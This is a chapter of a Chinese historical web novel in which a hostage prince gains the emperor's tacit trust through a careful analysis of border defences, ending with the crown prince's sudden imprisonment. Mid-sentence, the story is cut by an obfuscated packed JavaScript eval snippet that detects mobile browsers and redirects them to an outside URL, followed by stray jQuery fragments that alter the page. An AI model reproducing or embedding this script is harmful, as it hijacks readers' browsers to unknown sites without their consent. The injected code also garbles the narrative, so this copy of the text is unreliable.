雪后初霁，德泽殿庭院里的残雪被宫人扫至墙角，堆成灰白的一垄。宇文戎立在院中那株老梅下，仰头看枝头几点将开未开的殷红花苞。
梁帝那日的话，犹在耳畔：“好好想清楚，你想做什么，能做什么……又能给朕、给这大梁天下，带来什么。”
他想做什么？
入京为质，踏入这座皇城时，他便抱了最决绝的心志：只要北境安稳，父王无恙，他可以在这金陵城中，做一辈子安静的囚徒。所以他主动切断了与靖王府与暗卫的所有联系，任由监视，甘心当个废人，读经，守孝，沉默，枯萎。
可即便如此，龙椅上那位陛下的猜疑，依旧如附骨之疽，从未真正消散。离国送来的一个木盒，就能引发雷霆震怒；宫中任何一点风吹草动，德泽殿都会迎来更深的禁锢。
在这方寸之地，在这无形的铁笼中，他究竟还能做什么，才能让自己……变得“有用”？
最稳妥的路，莫过于参与整理典籍，勘校地方志，研读经史地理，做个博学而无害的“文臣质子”。这是陛下最能接受、也最不会引发猜忌的路。
可这真的够吗？
指尖拂过冰冷粗糙的梅枝，宇文戎的眼神渐深。梁陈大战刚刚结束，南境初定，百废待兴。战事虽胜，其中凶险曲折、得失教训，朝廷需要复盘，边防需要巩固。分析战役，总结得失，查漏补缺——这本就是他所长，是流淌在他血脉里的本能。
这也是……真正于国于民有利的事。
风险当然有。涉足军务，即便只是“评议旧战”，也可能触动帝王那根最敏感的神经。但若只求“无害”，他便永远只是砧板上的鱼肉。
他需要展现价值，一种让陛下觉得“留下他比除掉他更有用”的价值。
心思既定，他回到书房，铺纸研墨。左手执笔，字迹虽仍显生涩，却一笔一划，力透纸背。
不是奏折，也不是策论，而是一封言辞极其恳切、姿态放到最低的“乞请书”
臣戎谨奏：
陛下神武，南疆克定。臣随驾军前，蒙陛下不弃，使参帷幄，得睹天威运筹之妙。今虽归京守孝，然洛水风烟、楚山烽火，犹在目前。
臣幼习戎机。幸得侍奉銮舆，亲见将士用命、谋略层出。战后静思，尤觉兵事得失，关乎国运。今南境新附，防务乃第一要义。臣虽无职无兵，然曾侧身行伍，略知战阵实情。伏乞陛下赐南境沙盘、地理志及兵略旧籍，容臣以亲历者之眼，参详已公开之战报舆图，推演得失，或有裨于巩固边防。
臣绝无干政之心，惟念陛下昔日许臣随军之恩，欲以残躯微见，稍报万一。若蒙恩准，必恪守本分，片纸不留于外，片语不泄于人。
伏惟陛下圣察。
字字谦卑，句句谨慎，将意图包裹在“忠君爱国”与“书生议政”的外衣下。
信送出后，宇文戎闭门不出，继续他规律的守孝生活。心中却绷着一根弦。
第二日黄昏，怀恩亲自来了。
没有圣旨，没有口谕，老太监只是指挥着身后几名小内监，将几样东西抬进德泽殿偏厢。
一张精致的南境山川地势沙盘，比例精确，关隘、河流、城池标注清晰——虽是公开舆图信息所制，却已显用心。十几卷书，有兵部刊行的《梁陈战事纪要》，有前朝兵书《武备志》《守城录》，甚至还有几本关于荆楚地理气候的风物志。
“陛下说，”怀恩垂着眼，声音平板，“公子既有此心，便好好研读。沙盘书籍，仅供参详，用毕收回。”
“臣，谢陛下隆恩。”宇文戎深深一揖。
东西送来了。梁帝默许了。这是一种有限度的试探，也是一次机会。
接下来的十日，德泽殿的灯火常亮至子夜。
宇文戎的生活节奏依旧：晨诵、用斋、读经、习字。所有“额外”的研读，都被他严格控制在午后至傍晚的“闲暇时间”。他不再临帖，左手执笔，在废稿纸上写满密密麻麻的推演。
沙盘上的小山小城，在他眼中活了过来。他脑中的记忆，还原洛水之畔的决战：梁军如何诱敌深入，陈军如何急躁冒进，楚地援军为何迟迟未至……他推演了七种不同的可能性，三种陈军翻盘的可能，四种梁军可能遭遇的更大损失。
他发现，梁国此战胜在“料敌先机”与“速战速决”，但其中亦有侥幸——若陈煜再谨慎些，反应更快些，战局或将拖入寒冬，于梁军不利。
南境防线，倚仗长江天堑，却也有几处薄弱环节。他结合地理志中关于水文、季风的记载，标注出三处可能被擅水战的敌人利用的渡口，两处山道虽险却可奇袭的关隘。
他写得很慢。左手书写本就费力，更要字斟句酌。所有建议都只提“隐患”与“可加强之处”，绝无指责朝廷方略之意。每一条建议后，都附上可能的解决思路，却不明言该如何做，将决策权完全归于朝廷。
他反复修改，最终将数十页散乱笔记，浓缩成一份不足五千字的《评陈诸役得失刍议》。
第十一日清晨，他将那份用工整馆阁体誊抄好的册子，交给了随侍的太监，请他转交怀恩公公。
刍议送出去了。宇文戎如常去佛堂晨诵，心却悬着。
他不知道梁帝会如何看。是嗤之以鼻，觉得少年狂妄？还是警觉不悦，认为他手伸得太长？
当日下午，小太监来送晚膳时，食盒底层多了一小碟晶莹剔透的桂花糖蒸新栗粉糕——这不是守孝期间的规制食物，却是他小时爱吃的。
没有只言片语，但宇文戎明白，这是某种“嘉许”的信号。
他安静地吃了栗粉糕，很甜。
紫宸殿东暖阁。
梁帝面前摊开着那份《评陈诸役得失刍议》。他已看了数遍。
怀恩垂手立在阴影里，大气不敢出。他能感到陛下今日心情有些复杂。
良久，梁帝才轻叩纸面，缓缓开口：“怀恩。”
“奴才在。”
“南境军报，前日是不是提到，巡江哨船在‘春风渡’附近发现可疑船只踪迹？”
“是。水师已加强该处巡查。”
梁帝的手指，点在宇文戎文中提及的三处薄弱渡口的第一个——正是春风渡。
“还有山口关守将的奏报，说入冬后山道时有落石，请求增派人手清理，加固关墙？”
“是，兵部已拟文拨付钱粮。”
梁帝的手指移到文中提及的两处可奇袭关隘之一——山口关。
不是巧合。
这份《刍议》并非空谈，它精准地点中了南境防务中真实存在的、或已暴露、或潜在的风险。分析冷静客观，建议务实克制，更难能可贵的是那份“补台”而非“拆台”的立场。
梁帝闭上眼，脑中浮现出宇文戎伏案书写的模样。那孩子是用左手写的，字迹工整却仍能看出吃力。文中没有任何煽情之语，没有为自己表功，只是纯粹地就事论事，思虑国事。
这孩子竟这般……想要证明自己有用。
“可惜了。”梁帝低低叹了一句。
怀恩不知陛下在可惜什么，不敢接话。
梁帝睁开眼，眼中已是一片清明帝王的锐利。他提笔，在那份《刍议》封面上写下几个朱批小字：
“南书房存档。所涉防务诸条，转兵部、五军都督府参详，酌情采纳，不必言明出处。”
写罢，他将册子递给怀恩：“照此办理。告诉兵部的人，这是朕览古战例偶得之思，让他们细化执行。”
“是。”怀恩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048639|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
双手接过。陛下这是要将这份功劳隐去，既用了其策，又不让宇文戎因此获得任何声望或与军方产生联系。
“还有，”梁帝顿了顿，“赏德泽殿。告诉他，朕看了。“
“奴才遵旨。”
怀恩退下后，梁帝独自坐在御案后，指尖无意识地摩挲着扳指。
戎儿这份《刍议》，展现的不仅是军事才华，更是一种极其敏锐的政治嗅觉——他知道什么能说，什么不能说，分寸拿捏得恰到好处。这份早熟与克制，让人欣慰，也让人……隐隐不安。
他像一块璞玉，在重重压力下，开始自己打磨自己。梁帝给了他一丝缝隙，他便精准地抓住了，并给出了超乎预期的回应。
很好。
这样的刀，才值得继续养下去。
但刀锋越利，握刀的手，就越要稳。
梁帝望向德泽殿的方向，目光深远。他给了赏赐，给了认可，但也彻底抹去了宇文戎与此事的关联。这是保护，也是提醒：你可以在笼中思考，但你的声音，只能通过朕的喉咙发出。
德泽殿接到赏赐时，宇文戎正在临帖。
内侍宣读了皇帝口谕，将赏赐之物一一呈上。文房四宝是上品，战例汇编更是新刊，墨香犹存。
宇文戎跪谢隆恩。
待内侍离去，他抚过那套细腻温润的端砚，翻开还带着墨香的新书。梁帝的反应，已清晰传达：
你的价值，朕看到了，也用了。但你仍须隐匿于暗处，荣耀与名声皆与你无关。继续做你该做的事，保持安静。
这已是他此刻能争取到的最好结果。
他走到窗边，望向北方。冰雪应该还覆盖着锦州的山川。父王此刻在做什么？北境还安稳吗？
他不能联系父王，不能启动任何暗桩。他唯一能做的，就是让自己变得更有用，更“不可替代”，直到他的存在本身，成为北境安稳的一部分，也成为梁帝权衡利弊时，舍不得轻易毁去的那枚筹码。
夜色渐浓，德泽殿灯火如豆。
宇文戎回到书案前，摊开那部《古今战例汇编》，就着灯光，静静阅读。
左手执笔，在废稿纸上，又开始写下新的批注与思考。
几日后，又一封奏请送至御前。这次，他请求系统整理、勘校编纂《大梁边疆地理风物考》，理由是“读史方知舆地重要，守孝清闲，愿以此微功，稍报国恩”。他详细列出了编纂大纲、所需典籍范围、以及预计长达数年的耗时。
这是一项浩大、枯燥、需要深厚学识，却又完全不会触及核心机密的工程。它足以消耗他未来数年光阴，却能持续产出“价值”，且这价值完全在梁帝可控、可见的范围内。
奏请送出的当日下午，怀恩再次来到德泽殿，没有带赏赐，只带来一句口谕：
“陛下说，公子既有此志，甚好。所需典籍，可开单呈报。望持之以恒，莫负初心。”
允了。
宇文戎躬身谢恩。他知道，自己这步棋走对了。梁帝需要他“有事可做”，需要他“安分守己地有用”。这部《风物考》，就是他未来数年的“牢笼”与“盾牌”。
太子的诏狱，来得毫无征兆，却如一场平地惊雷，撕裂了年节后尚未完全苏醒的宫廷。
罪名是“结党营私，窥测禁中”。措辞严厉，却语焉不详。太子刘成被褫夺冠服，幽禁于静思苑，一应属官、近侍皆下狱拷问。没有审，没有辩，只有一道冰冷的中旨，和迅速封锁宫门的禁军甲士。
朝堂在一夕之间噤若寒蝉。往日与东宫走动稍近的臣子，此刻人人自危，恨不得将过往每一句交谈都从记忆里剜去。风向未明，无人敢言，更无人敢求情。紫宸殿中传出的低气压，让每个踏入宫门的人都感到脊背发寒。